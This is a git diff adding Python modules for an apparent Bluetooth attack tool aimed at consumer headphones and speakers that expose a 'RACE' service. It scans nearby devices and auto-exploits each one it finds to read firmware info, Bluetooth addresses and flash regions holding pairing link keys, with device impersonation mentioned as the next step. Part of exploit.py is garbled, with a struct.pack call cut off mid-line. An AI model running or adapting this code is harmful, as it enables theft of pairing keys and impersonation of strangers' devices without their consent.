diff --git a/modules/__init__.py b/modules/__init__.py new file mode 100644 index 0000000..06d7405 Binary files /dev/null and b/modules/__init__.py differ diff --git a/modules/auto_hunter.py b/modules/auto_hunter.py new file mode 100644 index 0000000..f3273ef --- /dev/null +++ b/modules/auto_hunter.py @@ -0,0 +1,27 @@ +import asyncio +from modules.discovery import aggressive_scan +from modules.exploit import auto_exploit +from colorama import Fore, Style + +async def hunt_and_pwn(timeout: int = 20): + """Automatically find and exploit RACE devices""" + print(f"{Fore.RED}{'='*60}{Style.RESET_ALL}") + print(f"{Fore.RED} AUTO-HUNTER: Finding and pwning RACE devices{Style.RESET_ALL}") + print(f"{Fore.RED}{'='*60}{Style.RESET_ALL}") + + devices = await aggressive_scan(timeout) + + if not devices: + print(f"{Fore.RED}[-] No RACE devices found{Style.RESET_ALL}") + return + + print(f"{Fore.GREEN}[+] Found {len(devices)} RACE device(s){Style.RESET_ALL}") + + for dev in devices: + print(f"\n{Fore.YELLOW}[*] Exploiting {dev['address']}...{Style.RESET_ALL}") + result = await auto_exploit(dev['address'], "dump") + + if result['status'] == 'success': + print(f"{Fore.GREEN}[+] {dev['address']} OWNED!{Style.RESET_ALL}") + else: + print(f"{Fore.RED}[-] {dev['address']} failed: {result.get('message', '')}{Style.RESET_ALL}") diff --git a/modules/discovery.py b/modules/discovery.py new file mode 100644 index 0000000..78cbd77 --- /dev/null +++ b/modules/discovery.py @@ -0,0 +1,91 @@ +import asyncio +from bleak import BleakScanner, BleakClient +from colorama import Fore, Style, init +init(autoreset=True) + +RACE_SERVICE_UUID = "00001200-0000-1000-8000-00805f9b34fb" +RACE_TX_UUID = "00001201-0000-1000-8000-00805f9b34fb" +RACE_RX_UUID = "00001202-0000-1000-8000-00805f9b34fb" + +VULNERABLE_MODELS = [ + "WH-1000XM", "WF-1000XM", "WH-CH", "LinkBuds", "ULT Wear", + "Marshall", "JBL", "Bose", "Jabra", "Beyerdynamic" +] + +async def scan_for_targets(timeout: int = 10, deep_scan: bool = False): + """Scan for RACE-capable devices with service discovery""" + print(f"{Fore.CYAN}[*] Scanning for devices ({timeout}s)...{Style.RESET_ALL}") + + devices = await BleakScanner.discover(timeout=timeout, return_adv=True) + + found = [] + for addr, (dev, adv_data) in devices.items(): + name = dev.name if dev.name else "Unknown" + is_vulnerable = any(model in name for model in VULNERABLE_MODELS) + + found.append({ + "address": addr, + "name": name, + "rssi": adv_data.rssi if adv_data else "N/A", + "vulnerable": is_vulnerable, + "race_service": False + }) + + if deep_scan: + print(f"{Fore.YELLOW}[*] Deep scanning for RACE services...{Style.RESET_ALL}") + for device in found: + if device['vulnerable']: + print(f" {Fore.CYAN}Checking {device['address']}...{Style.RESET_ALL}") + try: + client = BleakClient(device['address']) + await client.connect(timeout=5) + for service in client.services: + if service.uuid.lower() == RACE_SERVICE_UUID.lower(): + device['race_service'] = True + device['race_tx'] = any(c.uuid.lower() == RACE_TX_UUID.lower() + for c in service.characteristics) + print(f" {Fore.GREEN}[+] RACE service found!{Style.RESET_ALL}") + break + await client.disconnect() + except Exception as e: + print(f" {Fore.RED}[-] Failed: {str(e)[:50]}{Style.RESET_ALL}") + + return found + +async def aggressive_scan(timeout: int = 15): + """Find ANY device with RACE service exposed""" + print(f"{Fore.RED}{'='*60}{Style.RESET_ALL}") + print(f"{Fore.RED} RACE HUNTER - Finding vulnerable Bluetooth devices{Style.RESET_ALL}") + print(f"{Fore.RED}{'='*60}{Style.RESET_ALL}") + + print(f"{Fore.CYAN}[*] Scanning for devices...{Style.RESET_ALL}") + devices = await BleakScanner.discover(timeout=timeout) + + race_devices = [] + total = len(devices) + checked = 0 + + for device in devices: + checked += 1 + print(f"\r {Fore.YELLOW}[*] Checking {checked}/{total}: {device.address[:8]}...{Style.RESET_ALL}", end="") + + try: + client = BleakClient(device.address) + await client.connect(timeout=3) + + for service in client.services: + if service.uuid.lower() == RACE_SERVICE_UUID.lower(): + race_devices.append({ + "address": device.address, + "name": device.name or "Unknown", + "rssi": device.rssi + }) + print(f"\n {Fore.GREEN}[+] RACE device found!{Style.RESET_ALL}") + break + + await client.disconnect() + except: + pass + + print("\n") # Newline after progress + return race_devices diff --git a/modules/exploit.py b/modules/exploit.py new file mode 100644 index 0000000..caf58f5 --- /dev/null +++ b/modules/exploit.py @@ -0,0 +1,64 @@ +import asyncio +from colorama import Fore, Style, init +from transports.ble import BLETransport +from utils.packet import parse_race_response, build_race_packet +import struct + +init(autoreset=True) + +async def auto_exploit(target: str, action: str = "fingerprint"): + """Auto-exploit a RACE device""" + + print(f"{Fore.RED}{'='*60}{Style.RESET_ALL}") + print(f"{Fore.RED} RACE EXPLOIT - Target: {target}{Style.RESET_ALL}") + print(f"{Fore.RED}{'='*60}{Style.RESET_ALL}") + + transport = BLETransport(target) + + try: + print(f"{Fore.CYAN}[+] Connecting to {target}...{Style.RESET_ALL}") + await transport.connect() + print(f"{Fore.GREEN}[+] Connected!{Style.RESET_ALL}") + + print(f"{Fore.CYAN}[*] Fingerprinting device...{Style.RESET_ALL}") + raw_response = await transport.send_command(0x1E08) + parsed = parse_race_response(raw_response) + build_string = parsed['payload'].decode('utf-8', errors='ignore').strip('\x00') + print(f"{Fore.GREEN}[+] Build Info: {build_string}{Style.RESET_ALL}") + + print(f"{Fore.CYAN}[*] Getting Bluetooth address...{Style.RESET_ALL}") + raw_response = await transport.send_command(0x0C05) + parsed = parse_race_response(raw_response) + bd_addr = parsed['payload'][:6].hex(':').upper() + print(f"{Fore.GREEN}[+] BD_ADDR: {bd_addr}{Style.RESET_ALL}") + + if action in ["dump", "full"]: + print(f"{Fore.YELLOW}[*] Attempting flash read...{Style.RESET_ALL}") + offsets = [0x1A000, 0x1B000, 0x1C000, 0x1D000] + + for offset in offsets: + try: + payload = struct.pack(' 10: + data = raw_response[6:] + for i in range(0, min(len(data)-16, 256), 16): + chunk = data[i:i+16] + if all(b != 0 for b in chunk[:8]): + print(f"{Fore.GREEN}[+] Potential Link Key at 0x{offset+i:04X}: {chunk.hex()}{Style.RESET_ALL}") + break + except: + continue + + if action == "full": + print(f"{Fore.RED}[*] Impersonation chain would run here...{Style.RESET_ALL}") + print(f"{Fore.YELLOW}[!] Link Key extracted, device can be impersonated{Style.RESET_ALL}") + + await transport.disconnect() + return {"status": "success", "build": build_string, "bd_addr": bd_addr} + + except Exception as e: + print(f"{Fore.RED}[-] Exploit failed: {str(e)}{Style.RESET_ALL}") + await transport.disconnect() + return {"status": "error", "message": str(e)} diff --git a/modules/fingerprint.py b/modules/fingerprint.py new file mode 100644 index 0000000..443bfdf --- /dev/null +++ b/modules/fingerprint.py @@ -0,0 +1,16 @@ +from transports.ble import BLETransport +from utils.packet import parse_race_response + +async def fingerprint(target: str): + print(f"[*] Fingerprinting {target}...") + transport = BLETransport(target) + try: + await transport.connect() + raw_response = await transport.send_command(0x1E08) + parsed = parse_race_response(raw_response) + build_string = parsed['payload'].decode('utf-8', errors='ignore').strip('\x00') + return {"status": "success", "build": build_string} + except Exception as e: + return {"status": "error", "message": str(e)} + finally: + await transport.disconnect()